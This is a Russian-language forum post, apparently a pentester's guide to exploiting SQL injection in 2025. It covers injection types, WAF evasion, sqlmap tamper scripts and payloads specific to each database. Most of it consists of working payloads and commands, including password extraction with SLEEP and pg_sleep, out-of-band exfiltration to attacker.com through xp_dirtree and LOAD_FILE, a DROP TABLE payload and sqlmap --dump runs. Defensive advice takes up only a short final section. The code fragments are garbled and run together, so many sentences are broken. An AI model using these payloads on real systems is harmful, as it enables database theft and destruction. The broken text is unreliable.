![]() |
https://forum.antichat.xyz/attachmen...d459d5d226.png
В январе 2025 года кто-то проэксплуатировал CVE-2025-1094 в PostgreSQL - баг в функциях Код:
PQescapeLiteral()Код:
PQescapeIdentifier()Код:
PQescapeString()По OWASP, SQL-инъекция стабильно сидит в Top 10 под категорией A03:2021 - Injection. По MITRE ATT&CK, эксплуатация публичных приложений (T1190, Initial Access) - один из основных начальных векторов для APT-групп: APT28, APT39, APT41, Agrius, Axiom и Dragonfly документированно используют SQL-инъекции для первоначального доступа к целевым сетям. Это не пересказ документации. Это разбор конкретных техник эксплуатации SQL-инъекций в 2025 году с позиции пентестера: какие пейлоады работают против реальных WAF, как отладить sqlmap, когда он упорно не видит инъекцию, и чем отличается time-based атака на MySQL от PostgreSQL. Пять типов SQL-инъекций и их место в kill chain Прежде чем открывать sqlmap, разберитесь, с каким типом инъекции вы столкнулись. От этого зависит выбор техники, инструмента и тактика обхода защитных средств. Error-based и UNION-based: классический in-band In-band SQL injection - ответ приходит через тот же HTTP-ответ, в который улетел пейлоад. Два подтипа: Error-based - приложение отдаёт ошибки СУБД прямо в тело ответа. Отправляете Код:
' AND extractvalue(1, concat(0x7e, version()))--Код:
' AND 1=CAST((SELECT version()) AS numeric)--UNION-based - атакующий дописывает Код:
UNION SELECTКод:
ORDER BY 1--Код:
ORDER BY 2--Код:
1 UNION SELECT 1,2,3С точки зрения MITRE ATT&CK, успешная in-band инъекция ведёт к тактике Collection - извлечение данных из баз (T1213.006, Databases). Если атакующий вытащит учётные данные администратора - это прямой путь к Valid Accounts (T1078). Blind SQL injection: boolean и time-based эксплуатация Blind SQL injection - приложение не отдаёт ни ошибок СУБД, ни данных из запроса. Ответ один и тот же, что ни подставь. Но разница всё-таки есть - надо знать, где искать. Boolean-based blind - задаёте базе вопрос «да/нет» и судите по поведению приложения. Запрос Код:
?id=442 OR 2346=2346Код:
?id=442 OR 6362=6367Код:
SUBSTRING()Time-based blind - ещё более скрытный вариант. Приложение возвращает идентичный ответ на любой ввод. Единственный сигнал - время отклика. На MySQL: Код:
AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0)Код:
SLEEP()Код:
pg_sleep(5)Код:
WAITFOR DELAY '0:0:5'По данным OWASP, многие WAF пропускают blind-инъекции, если заменить стандартные функции синонимами: Код:
substring()Код:
mid()Код:
substr()Код:
ascii()Код:
hex()Код:
bin()Код:
benchmark()Код:
sleep()Код:
!=Код:
<>Код:
Код:
=Код:
STRCMP(LEFT('password',1), 0x70)Out-of-band и second-order SQL injection атаки Out-of-band (OOB) - данные уходят не через HTTP-ответ, а через внешний канал: DNS-запрос, HTTP-обращение с сервера БД на контролируемый атакующим хост. На MSSQL: Код:
'; EXEC master..xp_dirtree '\\attacker.com\share'--Код:
xp_cmdshellКод:
nslookupКод:
secure_file_priv=NULLКод:
SELECT LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\a'))Second-order - самый подлый тип с точки зрения обнаружения. Пейлоад сохраняется в базу через безопасный INSERT (параметризованный), но срабатывает позже - когда другая часть приложения достаёт это значение и подставляет в новый запрос без санитизации. Пример: пользователь регистрируется с именем Код:
admin'--Код:
UPDATE users SET password='new' WHERE username='admin'--'Обход WAF при SQL-инъекции: практические техники 2025 Обнаружить инъекцию - полдела. Проэксплуатировать её за WAF - вот на что уходит 80% времени пентеста. HTTP Parameter Pollution и фрагментация запросов По исследованию OWASP, HTTP Parameter Pollution (HPP) - один из самых эффективных методов обхода WAF. Суть: пейлоад разбивается между несколькими одноимёнными параметрами. WAF анализирует каждый отдельно и не видит полной картины, а бэкенд конкатенирует их. Пример из OWASP: запрос Код:
/?id=1;select+1,2,3+from+users+where+id=1--Код:
/?id=1;select+1&id=2,3+from+users+where+id=1--Код:
idКод:
id=2,3...Код:
id=1Код:
['1','2,3']HTTP Parameter Fragmentation (HPF) развивает идею: пейлоад дробится между разными параметрами уязвимого запроса. Если серверный код строит запрос из нескольких GET-параметров - Код:
select from table where a=$_GET['a'] and b=$_GET['b']- можно отправить Код:
/?a=1+union/&b=/select+1,2Код:
selectКод:
from table where a=1 union/ and b=/select 1,2Код:
/ and b=/Обфускация пейлоадов: комментарии, кодировки и нормализация OWASP документирует уязвимость в функциях нормализации WAF. Если WAF вырезает опасные ключевые слова (заменяет на пустую строку), можно вложить одно ключевое слово в другое: Код:
/?id=1/union/union/select/select+1,2,3/*Код:
unionКод:
selectКод:
1 union select 1,2,3Код:
un//ion sel//ectКод:
//Другие рабочие техники обфускации из данных OWASP:
sqlmap автоматизация пентест: от разведки до эксплуатации Требования к окружению 🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей. Зарегистрироваться или Войти Перед запуском убедитесь: Python 3.x установлен, sqlmap клонирован из репозитория ( Код:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.gitКод:
127.0.0.1:8080Когда sqlmap не видит инъекцию: отладка через Burp Suite Знакомая ситуация: Burp Scanner нашёл потенциальную SQL-инъекцию, вы запускаете sqlmap - а он говорит «parameter does not seem to be injectable». Каждый пентестер через это проходил. Ниже - реальный workflow отладки, основанный на кейсе, описанном исследователями Vaadata. Сценарий: Burp обнаружил boolean-blind инъекцию в параметре Код:
idEntityКод:
OR 2346=2346Код:
OR 6362=6367Код:
sqlmap -u "https://target.com/endpoint?idEntity=442" -p idEntityШаг 1 - добавить прокси и уточнить технику. Запускаем sqlmap через Burp-прокси, указываем boolean-blind и строку, означающую «ложный» ответ: Код: Код:
sqlmap -u "https://target.com/endpoint?idEntity=442" \Код:
Content-Length: 0Шаг 2 - сменить User-Agent. Добавляем Код:
-A "Mozilla/5.0"Код: Код:
sqlmap -u "https://target.com/endpoint?idEntity=442" \Код:
--dbsКод:
-D target_db -T users --dumpВывод тут простой: sqlmap не заменяет понимание того, что происходит на уровне HTTP. Если он не находит инъекцию, которую вы подтвердили вручную - проблема в WAF, cookie-зависимости, нестандартном формате ответа или rate-limiting. Burp-прокси делает эти проблемы видимыми. Tamper-скрипты sqlmap для обхода WAF Флаг Код:
--tamperДля ModSecurity CRS: Код:
--tamper=space2comment,between,randomcaseКод:
space2commentКод:
/**/Код:
betweenКод:
=Код:
BETWEEN X AND XКод:
>Код:
NOT BETWEEN 0 AND XКод:
randomcaseКод:
sElEcTКод:
SELECTДля MySQL-специфичных окружений: Код:
--tamper=space2hash,halfversionedmorekeywordsКод:
space2hashКод:
#Код:
#Код:
halfversionedmorekeywordsДля Cloudflare: Код:
--tamper=charencode,apostrophenullencodeКод:
--random-agentКод:
--delay=2Tamper-скрипты - не серебряная пуля. Каждый WAF обновляет правила, и комбинация, работавшая вчера, может быть заблокирована сегодня. Если стандартные tamper-скрипты не помогают - пишите свой. Кастомный tamper-скрипт - Python-файл с функцией Код:
tamper(payload, **kwargs)Дополнительные флаги sqlmap, повышающие эффективность при работе с WAF:
Workflow, который минимизирует ложные срабатывания и экономит время: Этап 1 - пассивный сбор. Проходите по приложению через Burp Proxy, собирая все endpoint'ы. В Target → Site map ищите параметры, которые потенциально попадают в SQL-запросы: Код:
idКод:
sortКод:
orderКод:
filterКод:
searchКод:
categoryЭтап 2 - ручное тестирование в Repeater. Берёте подозрительный запрос, отправляете в Repeater. Вставляете простейшие пейлоады: одинарная кавычка Код:
'Код:
AND 1=1Код:
AND 1=2Код:
AND SLEEP(5)--Этап 3 - передача в sqlmap. Инъекция подтверждена вручную - сохраняете запрос из Burp в файл (правый клик → Save item) и передаёте через Код:
sqlmap -r request.txtЭтап 4 - анализ результатов. sqlmap нашёл инъекцию - смотрите тип: union-based - данные можно вытащить быстро. Time-based - готовьтесь к длительному ожиданию и используйте Код:
--threads=5DBMS-специфичные пейлоады при SQL injection атаках Одна из типичных ошибок - гонять MySQL-пейлоады против PostgreSQL или MSSQL. Движки по-разному обрабатывают синтаксис, и пейлоад, идеальный для одной СУБД, вызовет синтаксическую ошибку на другой. Конкатенация строк. MySQL: Код:
CONCAT('a','b')Код:
||Код:
sql_modeКод:
PIPES_AS_CONCATКод:
ANSIКод:
||Код:
@@sql_modeКод:
'a' || 'b'Код:
'a' + 'b'Задержки для time-based. MySQL: Код:
SLEEP(5)Код:
BENCHMARK(10000000,SHA1('test'))Код:
pg_sleep(5)Код:
WAITFOR DELAY '0:0:5'Код:
dbms_pipe.receive_message('a',5)Определение версии. MySQL: Код:
@@versionКод:
version()Код:
version()Код:
@@versionКод:
SELECT banner FROM v$versionКомментарии. MySQL: Код:
--Код:
#Код:
//. PostgreSQL: Код:
--Код:
/Код:
/Код:
--Код:
/**/Код:
#Код:
space2hashStacked queries. PostgreSQL и MSSQL нативно поддерживают выполнение нескольких запросов через Код:
;Код:
mysqli_queryКод:
mysqli_multi_queryКод:
; DROP TABLE users--Вернёмся к CVE-2025-1094: уязвимость в функциях экранирования PostgreSQL (CWE-149) позволяла обойти quoting-механизм libpq и получить выполнение произвольного SQL в контексте psql. Вектор CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - атака по сети, не требует привилегий и взаимодействия пользователя, но сложность высокая (AC:H). Именно эта сложность означала, что sqlmap без кастомной настройки не мог автоматически проэксплуатировать эту уязвимость. SQL injection обнаружение и защита: что видно в логах Со стороны обороны SQL-инъекции оставляют характерные следы. Вот что искать в access-логах WAF и веб-сервера:
На уровне SIEM выстраивайте корреляцию: всплеск 500-ошибок от одного IP + аномальная длина параметров + последующие запросы к чувствительным endpoint'ам = высоковероятная попытка SQL-инъекции. Что касается защиты - prepared statements (параметризованные запросы) остаются единственным надёжным методом. ORM снижают риск, но не устраняют его: Код:
.raw()Код:
Sequelize.literal()Код:
ActiveRecord.find_by_sql()Код:
DROP TABLEВопрос к читателям При настройке sqlmap под конкретный WAF выбор tamper-скриптов определяет успех или провал эксплуатации. Выше я описал комбинации Код:
space2comment,between,randomcaseКод:
charencode,apostrophenullencodeКод:
--tamperКод:
--tamper=... |
| Время: 20:57 |